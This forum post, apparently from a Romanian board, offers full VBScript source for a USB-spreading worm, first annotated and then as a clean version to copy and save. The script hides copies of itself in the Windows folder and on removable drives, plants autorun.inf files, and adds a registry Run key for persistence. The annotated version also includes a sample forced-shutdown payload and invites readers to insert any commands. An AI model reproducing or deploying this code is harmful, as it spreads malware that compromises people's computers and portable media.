cocoju93
Administrator
 Inregistrat: acum 18 ani
Postari: 61
|
|
he code below is the full script of a Flash/Removable Drive. now the explanation
On Error Resume Next Dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd <--- declation atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe screw.sys.vbs" Set fs = CreateObject("Scripting.FileSystemObject" <--- to create the file Set mf = fs.getfile(Wscript.ScriptFullname) <--- grabbing file Dim text, size size = mf.size check = mf.Drive.drivetype <--- getting drive letter Set text = mf.openastextstream(1, -2) <---- end of declation Do While Not text.atendofstream mysource=mysource&text.readline mysource = mysource & vbCrLf Loop Do Set winpath = fs.getspecialfolder(0) Set tf = fs.getfile(winpath & "\gelobee.bat.vbs" <--- copy a file from the host tf.Attributes = 32 Set tf = fs.createtextfile(winpath & "\gelobee.bat.vbs", 2, True) <--- creating a new file, or simply re-creating the source file tf.write mysource tf.Close Set tf = fs.getfile(winpath & "\gelobee.bat.vbs" <--- setting attributes to hidden tf.Attributes = 39 For Each flashdrive In fs.drives If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then <--- creating same file on all flash, or floppy disk Set tf = fs.getfile(flashdrive.Path & "\gelobee.bat.vbs" tf.Attributes = 32 Set tf = fs.createtextfile(flashdrive.Path & "\gelobee.bat.vbs", 2, True) tf.write mysource tf.Close Set tf = fs.getfile(flashdrive.Path & "\gelobee.bat.vbs" tf.Attributes = 39 Set tf = fs.getfile(flashdrive.Path & "\autorun.inf" <--- creating an autorun file to automatically open the vbs script when a is open or the C:\ is open tf.Attributes = 32 Set tf = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True) tf.write atr tf.Close Set tf = fs.getfile(flashdrive.Path & "\autorun.inf" tf.Attributes = 39 End If Next
Set rg = CreateObject("WScript.Shell" rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\screws", "C:\gelobee.bat.vbs", "REG_SZ" <---- code on the registry to automatically RUN the VBS script everytime windows starts
<--- on this part you can put any registry commands or any commands you want ---> sample: Dim objShell, strComputer, strInput Dim strShutdown
Set WshNetwork = WScript.CreateObject("WScript.Network"
Do
strComputer = WshNetwork.ComputerName
If strComputer <> "" Then strInput = True End if
Loop until strInput = True
strShutdown = "shutdown -s -t 0 -f -m \\" & strComputer
set objShell = CreateObject("WScript.Shell"
objShell.Run strShutdown
If check <> 1 Then Wscript.Sleep 20000 End If Loop While check <> 1 Set sd = CreateObject("Wscript.shell" sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname Wscript.Quit
you can rename gelobee.bat.vbs to any name you want
just copy the codes above and put it on , then save it to the vbs name you have typed on the code.
this code is only a template on how a vbs virus copy itself from all drives and all flash drives. like a trojan virus behavior. try it on your own risk.
Code:
On Error Resume Next
Dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe gelobee.bat.vbs"
Set fs = CreateObject("Scripting.FileSystemObject")
Set mf = fs.getfile(Wscript.ScriptFullname)
Dim text, size
size = mf.size
check = mf.Drive.drivetype
Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream
mysource=mysource&text.readline
mysource = mysource & vbCrLf
Loop
Do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\gelobee.bat.vbs")
tf.Attributes = 32
Set tf = fs.createtextfile(winpath & "\gelobee.bat.vbs", 2, True)
tf.write mysource
tf.Close
Set tf = fs.getfile(winpath & "\gelobee.bat.vbs")
tf.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then
Set tf = fs.getfile(flashdrive.Path & "\gelobee.bat.vbs")
tf.Attributes = 32
Set tf = fs.createtextfile(flashdrive.Path & "\gelobee.bat.vbs", 2, True)
tf.write mysource
tf.Close
Set tf = fs.getfile(flashdrive.Path & "\gelobee.bat.vbs")
tf.Attributes = 39
Set tf = fs.getfile(flashdrive.Path & "\autorun.inf")
tf.Attributes = 32
Set tf = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True)
tf.write atr
tf.Close
Set tf = fs.getfile(flashdrive.Path & "\autorun.inf")
tf.Attributes = 39
End If
Next
Set rg = CreateObject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\screws", "C:\gelobee.bat.vbs", "REG_SZ"
If check <> 1 Then
Wscript.Sleep 20000
End If
Loop While check <> 1
Set sd = CreateObject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname |
_______________________________________ Codrutz
|
|